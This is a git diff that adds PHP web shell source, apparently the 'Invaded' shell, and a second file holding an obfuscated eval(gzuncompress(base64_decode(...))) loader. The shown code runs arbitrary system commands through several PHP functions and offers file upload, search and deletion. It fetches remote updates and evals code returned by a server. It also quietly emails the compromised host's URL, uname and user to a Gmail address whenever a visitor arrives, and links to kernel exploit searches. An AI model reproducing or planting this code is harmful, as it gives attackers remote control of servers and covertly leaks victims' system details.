+"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0Oqp". +"aGeyYpqJlRG/rlwAADs=", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" +); +//Untuk optimalisasi ukuran dan kecepatan. +$imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") +); +if (!$getall) { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); +} +else { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]
    ");}}}} + natsort($images); + $k = array_keys($images); + echo "
    "; + foreach ($k as $u) {echo $u.":
    ";} + echo "
    "; +} +exit; +} +if ($act == "about") { + echo "
    Credits:
    Idea, leading and coding by eX [Invaded]
    ". + "Beta-testing and some tips by eX [CopyRight Invaded]
    ". + "Re-Coding, tricks, html and css by eX [Invaded]

    ". + "Report bugs to eX
    "; +} +echo "\n"; +/*** COMMANDS PANEL ***/ +?> +
    .: COMMANDS PANEL :.
    + + + + + + + + + + + + + + + +
    Command:
    + + + + +
    +
    Quick Commands:
    + + + + +
    +
    Upload:
    + + + +
    +
    PHP Filesystem: + + +\r\n". + "\r\n". + " \r\n". + " \r\n". + "
    \r\n"; + foreach ($sh_sourcez as $e => $o) { + echo "\r\n"; + } + echo "\r\n"; +?> +
    Search File:
    + regexp +
    +
    Create File:
    + Overwrite +
    View File:
    + +
    + + +&1', 'r'); + if ( is_resource($h) ) { + while ( !feof($h) ) { $output .= fread($h, 2096); } + pclose($h); + } + } + elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); } + elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); } + return $output; +} +function exexec2($cmd) { + $output = ""; + if ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); } + elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); } + elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("popen") ) { + $h = popen($cmd.' 2>&1', 'r'); + if ( is_resource($h) ) { + while ( !feof($h) ) { $output .= fread($h, 2096); } + pclose($h); + } + } + return $output; +} +function which($pr) { + $path = exexec("which $pr"); + if(!empty($path)) { return $path; } else { return $pr; } +} + +function get_status() { + function showstat($sup,$stat) { + if ($stat=="on") { return "$sup: ON"; } + else { return "$sup: OFF"; } + } + $arrfunc = array( + array("MySQL","mysql_connect"), + array("MSSQL","mssql_connect"), + array("Oracle","ocilogon"), + array("PostgreSQL","pg_connect"), + array("Curl","curl_version"), + ); + $arrcmd = array( + array("Fetch","fetch --help"), + array("Wget","wget --help"), + array("Perl","perl -v"), + ); + + $statinfo = array(); + foreach ($arrfunc as $func) { + if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); } + else { $statinfo[] = showstat($func[0],"off"); } + } + $statinfo[] = (@extension_loaded('sockets'))?showstat("Sockets","on"):showstat("Sockets","off"); + foreach ($arrcmd as $cmd) { + if (exexec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); } + else { $statinfo[] = showstat($cmd[0],"off"); } + } + return implode(" ",$statinfo); +} +function showdisfunc() { + if ($disablefunc = @ini_get("disable_functions")) { + return "".$disablefunc.""; + } + else { return "NONE"; } +} +function disp_drives($curdir,$surl) { + $letters = ""; + $v = explode("\\",$curdir); + $v = $v[0]; + foreach (range("A","Z") as $letter) { + $bool = $isdiskette = $letter == "A"; + if (!$bool) { $bool = is_dir($letter.":\\"); } + if ($bool) { + $letters .= " "; + if ($letter.":" != $v) { $letters .= $letter; } + else { $letters .= "".$letter.""; } + $letters .= " "; + } + } + if (!empty($letters)) { Return $letters; } + else {Return "None"; } +} +function disp_freespace($curdrv) { + $free = @disk_free_space($curdrv); + $total = @disk_total_space($curdrv); + if ($free === FALSE) { $free = 0; } + if ($total === FALSE) { $total = 0; } + if ($free < 0) { $free = 0; } + if ($total < 0) { $total = 0; } + $used = $total-$free; + $free_percent = round(100/($total/$free),2)."%"; + $free = view_size($free); + $total = view_size($total); + return "$free of $total ($free_percent)"; +} +## exSh UPDATE FUNCTIONS ## +function exgetsource($fn) { + global $exsh_sourcesurl; + $array = array( + "exsh.php" => "exsh.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($exsh_sourcesurl.$name);} + else {return FALSE;} +} +function exsh_getupdate($update = TRUE) { + $url = $GLOBALS["exsh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0"); + $data = @file_get_contents($url); + if (!$data) { return "Can't connect to update-server!"; } + else { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") { + $string = explode("|",$string); + if ($update) { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download exshell.php manually here.";} + else { + fwrite($fp,$source); + fclose($fp); + return "Update completed!"; + } + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") { + eval($string); + return 1; + } + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +function ex_buff_prepare() { + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +function ex_sess_put($data) { + global $sess_cookie; + global $sess_data; + ex_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +## END exSh UPDATE FUNCTIONS ## +## FILESYSTEM FUNCTIONS ## +function fs_copy_dir($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +function fs_copy_obj($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) { return copy($d,$t); } + else { return FALSE; } +} +function fs_move_dir($d,$t) { + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +function fs_move_obj($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +function fs_rmdir($d) { + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +function fs_rmobj($o) { + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +## END FILESYSTEM FUNCTIONS ## +function onphpshutdown() { + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function exshexit() { onphpshutdown(); exit; } + +function exfsearch($d) { + global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) { + if($f != "." && $f != "..") { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {exfsearch($d.$f);} + } + else { + $search_i_f++; + if ($bool) { + if (!empty($a["text"])) { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +function view_size($size) { + if (!is_numeric($size)) { return FALSE; } + else { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);} +function view_perms($mode) { + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + return $type.join("",$owner).join("",$group).join("",$world); +} +function parse_perms($mode) { + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +function parsesort($sort) { + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +function view_perms_color($o) { + if (!is_readable($o)) {return "".view_perms(fileperms($o))."";} + elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";} + else {return "".view_perms(fileperms($o))."";} +} +$visitcount = $HTTP_COOKIE_VARS["visits"]; +if( $visitcount == "") { +$visitcount = 0; +$visitor = $_SERVER["REMOTE_ADDR"]; +$web = $_SERVER["HTTP_HOST"]; +$inj = $_SERVER["REQUEST_URI"]; +$target = rawurldecode($web.$inj); +$uname = php_uname(); +$id = get_current_user(); +$body = " [+]Shell: $target \n [+]Injector: $visitor \n [+]uname -a: $uname \n [+]User: $id"; +@mail("vncaliados@gmail.com","[x] http://$target by $visitor", "$body"); +} +else +{ $visitcount; } +setcookie("visits",$visitcount); +function str2mini($content,$len) { + if (strlen($content) > $len) { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } else {return $content;} +} +function strips(&$arr,$k="") { + if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } } + else { $arr = stripslashes($arr); } +} + +function getmicrotime() { + list($usec, $sec) = explode(" ", microtime()); + return ((float)$usec + (float)$sec); +} + +function milw0rm() { + $Lversion = php_uname(r); + $OSV = php_uname(s); + if(eregi("Linux",$OSV)) { + $Lversion = substr($Lversion,0,6); + return "http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion; + } else { + $Lversion = substr($Lversion,0,3); + return "http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion; + } +} +function tools() { + echo "List of tools"; +} +function sh_name() { return ("Invaded").sh_ver; } +function htmlhead($safemode) { +$style = ' + +'; +$html_start = ' + +'.getenv("HTTP_HOST").' - '.sh_name().' +'.$style.' + + +

    '.sh_name().'

    .: No System is Perfectly Safe :.
    +'; +return $html_start; +}; +function footer() { + echo "
    By eX, 2009 Invaded, Generated: ".round(getmicrotime()-starttime,4)." seconds
    "; +} +chdir($lastdir); exshexit(); +?> \ No newline at end of file diff --git a/php/oi.php.txt b/php/oi.php.txt new file mode 100644 index 0000000..e9de315 --- /dev/null +++ b/php/oi.php.txt @@ -0,0 +1,2 @@ +> www.shaja.net*/ +eval("?>".gzuncompress(base64_decode("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